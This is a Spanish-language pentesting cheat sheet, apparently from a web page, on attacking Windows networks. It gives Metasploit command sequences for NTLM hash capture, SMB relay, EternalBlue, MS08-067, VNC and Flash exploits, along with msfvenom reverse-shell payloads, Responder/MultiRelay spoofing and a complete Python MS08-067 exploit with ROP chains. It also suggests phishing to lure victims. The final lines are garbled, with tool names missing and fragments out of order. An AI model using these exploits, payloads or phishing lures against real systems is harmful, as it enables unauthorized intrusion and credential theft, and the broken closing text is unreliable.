Si revisamos en Immunity Debugger, podemos observar que tiene los caracteres A enviados en el registro EIP:
Como se puede apreciar en la imagen del script fuzzer.py, a los 2100 caracteres, el programa deja de responder.
Para obtener la cantidad correcta de caracteres que necesitamos para crashear el programa, usamos los scripts pattern_create.rb y pattern_offset.rb de Metasploit.
Con `pattern_create.rb` generamos un patrón de caracteres con la cantidad indicada:
Antes de ejecutar el exploit, debemos tener el puerto indicado en el payload a la escucha.
Capturando hash LM/NTLMv1 con Metasploit
msfconsole -q
use auxiliary/server/capture/smb
set JOHNPWFILE hashpwd
run
En este caso, podemos usar alguna técnica de ingeniería social para pasar la URL al target, como por ejemplo, una imagen con hipervínculo en un phishing:
<img src="\\[nuestra_IP]\ADMIN$">
Cuando se conecte el target, y este trabaje con hashes LM o NTLMv1, podemos intentar crackearlos usando JohnTheRipper:
john --format=netlm hashpwd_netntlm
En caso de que JohnTheRipper falle, podemos usar rainbow tables:
Tablas:
Comando:
rcracki_mt -h [8B_hash_LM] -t [threads] [tablas]
-h primeros 8 bytes del hash LM
-t threads a usar
Ejemplo:
rcracki_mt -h 1f548398f0f49ea1 -t 4 *.rti
Ahora que tenemos la primera parte de la password descifrada, usamos la herramienta halflm_second.rb de Metasploit, el cual, se encuentra en /usr/share/metasploit-framework/tools/password:
Podemos usar esta herramienta para obtener la password en mayúsculas, al igual que lo hace halflm_second, donde, -seed seria la primera parte de la password obtenida.
El cracking de los hashes NTLMv2 se considera no factible.
SMB Relay en NTLMv1/v2
Resumen del ataque:
Para iniciar este ataque, usamos los siguientes comandos:
Con la opción SMBHOST indicamos el target.
msfconsole -q
use exploit/windows/smb/smb_relay
set SMBHOST 192.168.1.1
run
Esto funciona solo si el Network security: LAN Manager authentication level se encuentra configurado como Send LM & NTLM responses o Send NTLMv2 response only.
En otra terminal, ponemos a la escucha la dirección y puerto para poder obtener la shell:
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4455
run
Ejecutamos nuestro relay:
./smbrelayx.py -h [target_IP] -e [payload]
-h indicamos la dirección IP del target
-e especificamos el archivo creado con msfvenom
Ejemplo:
./smbrelayx.py -h 192.168.1.1 -e smbexp.exe
NBT-NS/LLMNR Spoofing
Es posible realizar un spoofing de LLMNR (Link-Local Multicast Name Resolution) y de NBT-NS (NetBIOS Name Service) a través de un ataque mitm y así, obtener sus hashes.
LLMNR es el sucesor de NBT-NS, el cual, fue introducido en Windows Vista.
Cuando la resolución de nombres falla, se utilizan estos protocolos.
Al momento que estos protocolos son usados para descubrir host, envían mensajes broadcast a la red con los hashes NTLMv1/v2, los cuales, pueden ser interceptados en la red local (VLAN), para usarlos en otros sistemas, o crackearlos de forma offline.
Escenario de ataque
El host A envía un request a un recurso compartido SMB al sistema \\intranet\files, pero, en vez de escribir intranet, escribe intrnet
Se manda una consulta al DNS para poder resolver el nombre intrnet, el cual, no es conocido por este, por lo tanto, el host A envía un mensaje broadcast LLMNR o NBT-NS consultando la dirección IP de dicho host
El atacante responde el mensaje broadcast, indicando que el es intrnet
El host A envía al atacante su nombre de usuario y el hash NTLMv1/v2
Herramientas para realizar el ataque
En Kali se puede encontrar en /usr/share/responder
Para este caso, Responder actúa como un listener de los mensajes broadcast, y realiza un spoofing de las respuesta al host target, resultando en la intercepción de los hashes que pueden ser pasados a otros sistemas, o eventualmente, poder crackearlos de forma offline.
Uso de RunFinger:
python RunFinger.py -i [IP target]
Atacando LLMNR/NBT-NS
Modificar el archivo Responder.conf, deshabilitando SMBy HTTP:
Ejecutamos Responder en la interfaz que deseamos:
-I interfaz que estará a la escucha
--lm realiza un downgrade de los hashes a LM
python Responder.py -I [interfaz]
En otra terminal, ejecutar MultiRelay:
-t indicamos la IP del target
-u ALL realiza un relay de todos los usuarios. También se puede indicar el usuario que queremos, reemplazando ALL por el nombre del usuario
python MultiRelay.py -t [IP target] - u ALL
EternalBlue (MS17-010)
Metasploit posee dos módulos asociados a esta vulnerabilidad que nos ayudaran a detectarla y explotarla:
Validación de vulnerabilidad:
msfconsole -q
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.1
run
Explotación:
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.1
run
python3 checker.py 10.10.10.40
Lo primero es definir la arquitectura del target, para lograr esto, usamos crackmapexec:
crackmapexec smb 10.10.10.40
Vemos que la máquina es de arquitectura x64, por lo tanto, trabajamos con el shellcode indicado para esa arquitectura.
Ensamblamos el shellcode del kernel con nasm:
nasm -f bin shellcode_x64.asm -o ./sc_x64_kernel.bin
Generamos el payload para poder obtener una reverse shell:
msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=10.10.14.6 --platform windows -a x64 --format raw -o sc_x64_payload.bin
Ahora ejecutamos el script, con el cual, obtenemos una shell en la máquina:
python3 ms17-010.py 10.10.10.4
NetAPI (MS08-067)
Metasploit posee el módulo exploit/windows/smb/ms08_067_netapi que permite explotar esta vulnerabilidad.
msfconsole -q
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.1.1
set LHOST 192.168.1.200
run
Para poder explotar esta vulnerabilidad, usamos el siguiente script:
#!/usr/bin/python3
import struct
import time
import sys
from threading import Thread # Thread is imported incase you would like to modify
try:
from impacket import smb
from impacket import uuid
from impacket.dcerpc.v5 import transport
except ImportError:
print('Install the following library to make this script work')
print('Impacket : https://github.com/CoreSecurity/impacket.git')
print('PyCrypto : https://pypi.python.org/pypi/pycrypto')
sys.exit(1)
shellcode = b""
num_nops = 410 - len(shellcode)
newshellcode = b"\x90" * num_nops
newshellcode += shellcode # Add NOPS to the front
shellcode = newshellcode # Switcheroo with the newshellcode temp variable
nonxjmper = b"\x08\x04\x02\x00%s" + b"A" * 4 + b"%s" + \
b"A" * 42 + b"\x90" * 8 + b"\xeb\x62" + b"A" * 10
disableNXjumper = b"\x08\x04\x02\x00%s%s%s" + b"A" * \
28 + b"%s" + b"\xeb\x02" + b"\x90" * 2 + b"\xeb\x62"
ropjumper = b"\x00\x08\x01\x00" + b"%s" + b"\x10\x01\x04\x01";
module_base = 0x6f880000
def generate_rop(rvas):
gadget1 = b"\x90\x5a\x59\xc3"
gadget2 = [b"\x90\x89\xc7\x83", b"\xc7\x0c\x6a\x7f", b"\x59\xf2\xa5\x90"]
gadget3 = b"\xcc\x90\xeb\x5a"
ret = struct.pack('<L', 0x00018000)
ret += struct.pack('<L', rvas['call_HeapCreate'] + module_base)
ret += struct.pack('<L', 0x01040110)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L',
rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget1
ret += struct.pack('<L', rvas['mov [eax], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget2[0]
ret += gadget2[1]
ret += struct.pack('<L', rvas[
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget2[2]
ret += struct.pack('<L', rvas['mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['add eax, 8 / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget3
return ret
class SRVSVC_Exploit(Thread):
def __init__(self, target, os, port=445):
super(SRVSVC_Exploit, self).__init__()
self.port = port
self.target = target
self.os = os
def __DCEPacket(self):
if (self.os == '1'):
print('Windows XP SP0/SP1 Universal\n')
ret = b"\x61\x13\x00\x01"
jumper = nonxjmper % (ret, ret)
elif (self.os == '2'):
print('Windows 2000 Universal\n')
ret = b"\xb0\x1c\x1f\x00"
jumper = nonxjmper % (ret, ret)
elif (self.os == '3'):
print('Windows 2003 SP0 Universal\n')
ret = b"\x9e\x12\x00\x01" # 0x01 00 12 9e
jumper = nonxjmper % (ret, ret)
elif (self.os == '4'):
print('Windows 2003 SP1 English\n')
ret_dec = b"\x8c\x56\x90\x7c" # 0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
ret_pop = b"\xf4\x7c\xa2\x7c" # 0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
jmp_esp = b"\xd3\xfe\x86\x7c" # 0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
disable_nx = b"\x13\xe4\x83\x7c" # 0x 7c 83 e4 13 NX disable @NTDLL.DLL
jumper = disableNXjumper % (
ret_dec * 6, ret_pop, disable_nx, jmp_esp * 2)
elif (self.os == '5'):
print('Windows XP SP3 French (NX)\n')
ret = b"\x07\xf8\x5b\x59" # 0x59 5b f8 07
disable_nx = b"\xc2\x17\x5c\x59" # 0x59 5c 17 c2
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '6'):
print('Windows XP SP3 English (NX)\n')
ret = b"\x07\xf8\x88\x6f" # 0x6f 88 f8 07
disable_nx = b"\xc2\x17\x89\x6f" # 0x6f 89 17 c2
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '7'):
print('Windows XP SP3 English (AlwaysOn NX)\n')
rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796, 'pop ecx / ret': 0x2e796 + 6,
'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret': 0x10a56, 'mov [eax+0x10], ecx / ret': 0x10a56 + 6, 'add eax, 8 / ret': 0x29c64}
jumper = generate_rop(rvasets) + "AB"
else:
print('Not supported OS version\n')
sys.exit(-1)
print('[-]Initiating connection')
if (self.port == '445'):
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
else:
self.__trans = transport.SMBTransport(remoteName='*SMBSERVER', remote_host='%s' % self.target, dstport = int(self.port), filename = '\\browser' )
self.__trans.connect()
print('[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(
('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
path = b"\x5c\x00" + b"ABCDEFGHIJ" * 10 + shellcode + b"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + \
b"\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + b"\x00" * 2
server = b"\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
prefix = b"\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
MaxCount = b"\x36\x01\x00\x00" # Decimal 310. => Path length of 620.
Offset = b"\x00\x00\x00\x00"
ActualCount = b"\x36\x01\x00\x00" # Decimal 310. => Path length of 620
self.__stub = server + MaxCount + Offset + ActualCount + \
path + b"\xE8\x03\x00\x00" + prefix + b"\x01\x10\x00\x00\x00\x00\x00\x00"
return
def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)
time.sleep(3)
print('Exploit finish\n')
if __name__ == '__main__':
try:
target = sys.argv[1]
os = sys.argv[2]
port = sys.argv[3]
except IndexError:
print('\nUsage: %s <target ip> <os #> <Port #>\n' % sys.argv[0])
print('Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445')
print('Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)')
print('Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal')
print('Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English')
print('Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)')
print('Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)')
print('Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)')
print('')
print('FYI: nmap has a good OS discovery script that pairs well with this exploit:')
print('nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 192.168.1.1')
print('')
sys.exit(-1)
current = SRVSVC_Exploit(target, os, port)
current.start()
Debemos modificar la variable shellcode para poder obtener nuestra shell reversa. Para esto, usamos el siguiente comando:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.6 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -v shellcode -a x86 --platform windows
Ejecutamos el script, dejando a la escucha el puerto 443:
nc -nlvp 443
VNC Keystrokes con Metasploit
msfconsole -q
use exploit/multi/vnc/vnc_keyboard_exec
set RHOSTS 192.168.1.1
set PASSWORD VNCpwd
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.200
run
El parámetro PASSWORD no es requerido.
Adobe Flash Player ByteArray Use After Free
msfconsole -q
use exploit/multi/browser/adobe_flash_hacking_team_uaf
set SRVHOST 192.168.1.200
set SRVPORT 8080
set URIPATH test
set TARGET 0
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4444
run
SRVHOST dirección IP local que se encuentra a la escucha
SRVPORT puerto local que se encuentra a la escucha
URIPATH URI a usar para en el exploit
TARGET 0 para Windows, 1 para Linux
PAYLOAD payload a usar para obtener la shell reversa
LHOST dirección IP local al que se conectará el target
LPORT puerto local al que se conectará el target
Esto generará una URL, la cual, el target debe ingresar para poder explotar este recurso (se puede usar alguna técnica de ingeniería social para lograr esto).
Iniciamos el módulo de :
Para este caso, usaremo el script .
Lo primero es crear un payload para obtener una shell usando .
es una herramienta que permite explotar esta debilidad en estos protocolos, para así, poder capturar los hashes NTLMv1/v2, y con esto, retransmitirlos a otro sistema para poder autentificarnos.
En conjunto con Responder, se usa , el cual, permite realizar un relay de los hashes a otras máquinas de la LAN, y con esto, obtener una shell en ellos.
Para llevar a cabo este ataque, es necesario que se encuentre deshabilitado el en el target. Para poder determinar si este no se encuentra habilitado, se puede usar la herramienta .
Lo primero que validamos es si es vulnerable a la versión que usa PIPE. Para lograr esto, descargamos el siguiente .
Este script usa como complemento el script .
Vemos que no es vulnerable a la opción que utiliza PIPE, por lo tanto, usaremos el siguiente .
Este exploit explota el uso de cuando maneja objetos ByteArray.